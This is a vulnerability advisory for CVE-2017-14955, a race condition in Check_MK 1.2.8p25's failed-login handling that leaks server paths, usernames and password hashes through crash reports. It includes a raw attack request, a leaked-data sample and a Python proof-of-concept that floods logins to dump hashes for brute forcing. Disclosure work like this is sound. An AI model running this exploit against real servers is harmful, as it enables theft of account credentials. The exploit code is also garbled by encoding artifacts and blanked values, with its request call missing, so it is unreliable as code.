Check_MK 1.2.8p25 Information Disclosure

Credit: Julien Ahrens
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-362

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

1. ADVISORY INFORMATION ======================= Product: Check_mk Vendor URL: Type: Race Condition [CWE-362] Date found: 2017-09-21 Date published: 2017-10-18 CVSSv3 Score: 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) CVE: CVE-2017-14955 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Check_mk v1.2.8p25 Check_mk v1.2.8p25 Enterprise older versions may be affected too. 4. INTRODUCTION =============== Check_MK is comprehensive IT monitoring solution in the tradition of Nagios. Check_MK is available as Raw Edition, which is 100% pure open source, and as Enterprise Edition with a lot of additional features and professional support. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== Check_mk is vulnerable to an unauthenticated information disclosure through a race condition during the authentication process when trying to authenticate with a valid username and an invalid password. On a failed login, the application calls the function save_users(), which performs two os.rename operations on the files "" and "" (see /packages/check_mk/check_mk-1.2.8p25/web/htdocs/ [..] # Check_MK's monitoring contacts filename = root_dir + "" out = create_user_file(filename, "w") out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n") out.write("contacts.update(\n%s\n)\n" % pprint.pformat(contacts)) out.close() os.rename(filename, filename[:-4]) # Users with passwords for Multisite filename = multisite_dir + "" make_nagios_directory(multisite_dir) out = create_user_file(filename, "w") out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n") out.write("multisite_users = \\\n%s\n" % pprint.pformat(users)) out.close() os.rename(filename, filename[:-4]) [...] When sending many concurrent authentication requests with an existing/valid username, such as: POST /check_mk/ HTTP/1.1 Host: localhost Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---9519178121294961341040589727 Content-Length: 772 Connection: close Upgrade-Insecure-Requests: 1 ---9519178121294961341040589727 Content-Disposition: form-data; name="filled_in" login ---9519178121294961341040589727 Content-Disposition: form-data; name="_login" 1 ---9519178121294961341040589727 Content-Disposition: form-data; name="_origtarget" ---9519178121294961341040589727 Content-Disposition: form-data; name="_username" omdadmin ---9519178121294961341040589727 Content-Disposition: form-data; name="_password" welcome ---9519178121294961341040589727 Content-Disposition: form-data; name="_login" Login ---9519178121294961341040589727-- Then it could happen that one of both os.rename() calls references a non- existing file, which has just been renamed by a previous thread. This causes the Python script to fail and throw a crash report, which discloses a variety of sensitive information, such as internal server paths, account details including hashed passwords: </pre></td></tr><tr class="data odd0"><td class="left">Local Variables</td><td><pre>{'contacts': {u'admin': {'alias': u'Administrator', 'contactgroups': ['all'], 'disable_notifications': False, 'email': u'', 'enforce_pw_change': False, 'last_pw_change': 0, 'last_seen': 0.0, 'locked': False, 'num_failed': 0, 'pager': '', 'password': '$1$400000$13371337asdfasdf', 'roles': ['admin'], 'serial': 2}, A script to automatically exploit this vulnerability can be found on [0]. 6. POC ====== #!/usr/bin/python # Exploit Title: Check_mk <=3D v1.2.8p25 save_users() Race Condition # Version: <=3D 1.2.8p25 # Date: 2017-10-18 # Author: Julien Ahrens (@MrTuxracer) # Homepage: # Software Link: # Tested on: 1.2.8p25 # CVE:=09=09 CVE-2017-14955 # # Howto / Notes: # This scripts exploits the Race Condition in check_mk version 1.2.8p25 and # below as described by CVE-2017-14955. You only need a valid username to # dump all encrypted passwords and make sure to setup a local proxy to # catch the dump. Happy brute forcing ;-) import requests import threading try: =09from requests.packages.urllib3.exceptions import InsecureRequestWarning =09requests.packages.urllib3.disable_warnings(InsecureRequestWarning) except: =09pass # Config Me target_url =3D "https://localhost/check_mk/" target_username =3D "omdadmin" proxies =3D { 'http': '', 'https': '', } def make_session(): =09v =3D, verify=3DFalse, proxies=3Dproxies, files= =3D{'filled_in': (None, 'login'), '_login': (None, '1'), '_origtarget': (No= ne, ''), '_username': (None, target_username), '_password': (None, = 'random'), '_login': (None, 'Login')}) =09return v.content NUM =3D 50 threads =3D [] for i in range(NUM): t =3D threading.Thread(target=3Dmake_session) threads.append(t) t.start() 7. RISK ======= To successfully exploit this vulnerability an unauthenticated attacker must only have network-level access to the application. The vulnerability allows remote attackers to trigger an exception, which discloses a variety of sensitive internal information such as: - Local server paths - Usernames - Passwords (hashed) - and user directory-specific attributes (i.e. LDAP) 8. SOLUTION =========== Update to 1.2.8p26. 9. REPORT TIMELINE ================== 2017-09-21: Discovery of the vulnerability 2017-09-21: Sent limited information to publicly listed email address 2017-09-21: Vendor responds and asks for details 2017-09-21: Full vulnerability details sent to vendor 2017-09-25: Vendor pushes fix to git 2017-10-01: MITRE assigns CVE-2017-14955 2017-10-16: Fix confirmed 2017-10-18: Public disclosure 10. REFERENCES ============= [0] [1]

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